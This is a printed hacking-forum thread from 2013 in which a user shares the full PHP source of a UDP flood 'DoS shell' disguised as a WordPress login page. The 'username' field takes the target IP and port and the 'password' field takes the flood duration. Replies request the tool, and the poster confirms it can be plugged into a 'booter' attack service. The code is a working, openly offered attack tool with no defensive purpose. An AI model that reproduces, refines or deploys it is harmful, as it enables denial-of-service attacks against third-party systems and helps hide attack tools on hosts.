Hack Forums
[UDP] WordPress DoS Shell [UDP] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [UDP] WordPress DoS Shell [UDP] (/showthread.php?tid=3171550)

Pages: Pages 1 2 3 4


[UDP] WordPress DoS Shell [UDP] - Ϲasp3r - Jan 12, 2013

What it looks like :
Spoiler (Click to View)

NOTE:
  • Does not say how many packets are sent (but you can enable this feature by removing a set of // )

  • IP:PORT goes in the Username

  • Time goes in Password

  • it's a GET shell



How to get the shell:
PHP Code

<?php 
<html>
<
head>
<
meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<
title>Log In</title>
<
link rel='stylesheet' id='wp-admin-css'  href='http://www.mspetr.org/wp-admin/css/wp-admin.min.css?ver=3.5' type='text/css' media='all' />
<
link rel='stylesheet' id='buttons-css'  href='http://www.mspetr.org/wp-includes/css/buttons.min.css?ver=3.5' type='text/css' media='all' />
<
link rel='stylesheet' id='colors-fresh-css'  href='http://www.mspetr.org/wp-admin/css/colors-fresh.min.css?ver=3.5' type='text/css' media='all' />
<
meta name='robots' content='noindex,nofollow' />
</
head>
<
body class="login login-action-login wp-core-ui">
<
div id="login">
<
h1><a href="http://wordpress.org/" title="Powered by WordPress">WordPress</a></h1>
<
center>
<?
php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    
$packets = 0;
    
ignore_user_abort(TRUE);
    
set_time_limit(0);

    
$exec_time = $_GET['time'];

    
$time = time();
    
//print "Started: ".time('d-m-y h:i:s')."<br>";
    
$max_time = $time+$exec_time;

    
$host = $_GET['host'];

    for(
$i=0;$i<65000;$i++){
    
$out .= 'X';
    }
    while(
1){
    
$packets++;
    if(
time() > $max_time){
    break;
    }
    
$rand = rand(1,65000);
    
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if(
$fp){
    
fwrite($fp, $out);
    
fclose($fp);
    }
    }
   
// echo "<br><b>UDP</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
    
echo '<br><br>
  <form action="'
.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  <label for="user_login">Username<br />
<input type=text name=host><br></label>
  <label for="user_pass">Password<br />
<input type=text name=time><br></label>
  <input type=submit class="button button-primary button-large" value=Login></form>'
;
}else{ echo 
'<br>Login<br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
<label for="user_login">Username<br />
    <input type=text name=host value=><br>
    <label for="user_pass">Password<br />
<input type=text name=time value=><br></label>
    <input type=submit class="button button-primary button-large" value=Login></form>'
;
}
?>
</center>
</body>
</html> 

Dont forget to say thanks


* - hackteam12 - Jan 12, 2013

First posting --

Can i get this?
Thanks.


* - Ϲasp3r - Jan 12, 2013

(Jan 12, 2013 01:46 PM)hackteam12 Wrote:  First posting --

Can i get this?
Thanks.

Sent.

Have fun and happy hacking!
🤝


* - Rеputation - Jan 12, 2013

Will it work like any shell? for example if i were to host it and add it to a booter.
Anyhow i want this thanks!


* - Ϲasp3r - Jan 12, 2013

(Jan 12, 2013 01:53 PM)Dot. Wrote:  Will it work like any shell? for example if i were to host it and add it to a booter.
Anyhow i want this thanks!

Yes you can add it to a booter.

It works like a get shell.


* - Goodies - Jan 12, 2013

I have no need for this so no need to send it to me.
But thanks so much for sharing OP! This is really nice :)


* - Ϲasp3r - Jan 12, 2013

(Jan 12, 2013 02:07 PM)Outcast Of Society Wrote:  I have no need for this so no need to send it to me.
But thanks so much for sharing OP! This is really nice :)

No problem, just whipped it up cause I was trying to brute a wp login and was like, hmmmm what if i made a DoS shell that looked like this.


* - Long Morrison - Jan 12, 2013

whoah, this is definedly good stuff.
i'd like to look its sources, so would you send it to me?


* - Ϲasp3r - Jan 12, 2013

(Jan 12, 2013 03:28 PM)poniboy Wrote:  whoah, this is definedly good stuff.
i'd like to look its sources, so would you send it to me?

Sent to you..

Anybody else want it?

🤝


* - Karlstad™ - Jan 12, 2013

I'd love to have this ^^, thanks in advance.


* - Ϲasp3r - Jan 12, 2013

(Jan 12, 2013 05:35 PM)iiNarbz Wrote:  I'd love to have this ^^, thanks in advance.

Sure sending it now.

Sorry it took so long, somebody asked me to do a custom login.


* - Goodies - Jan 12, 2013

(Jan 12, 2013 02:33 PM)Casp3r the Friendly Gh0st Wrote:  No problem, just whipped it up cause I was trying to brute a wp login and was like, hmmmm what if i made a DoS shell that looked like this.

Haha that's actually pretty funny! It looks nice :) thanks for sharing. Again I don't need it but really hq share!


* - Ϲasp3r - Jan 12, 2013

(Jan 12, 2013 06:42 PM)Outcast Of Society Wrote:  Haha that's actually pretty funny! It looks nice :) thanks for sharing. Again I don't need it but really hq share!

So would you like it or not?
I'm so confused. 😧

Anyways thanks for the feedback


* - Long Morrison - Jan 12, 2013

Thanks man, it works great, code is simple and clean.
Like i said, this one is definedly good stuff.


* - tux1 - Jan 12, 2013

This is pretty cool, can I get this too please?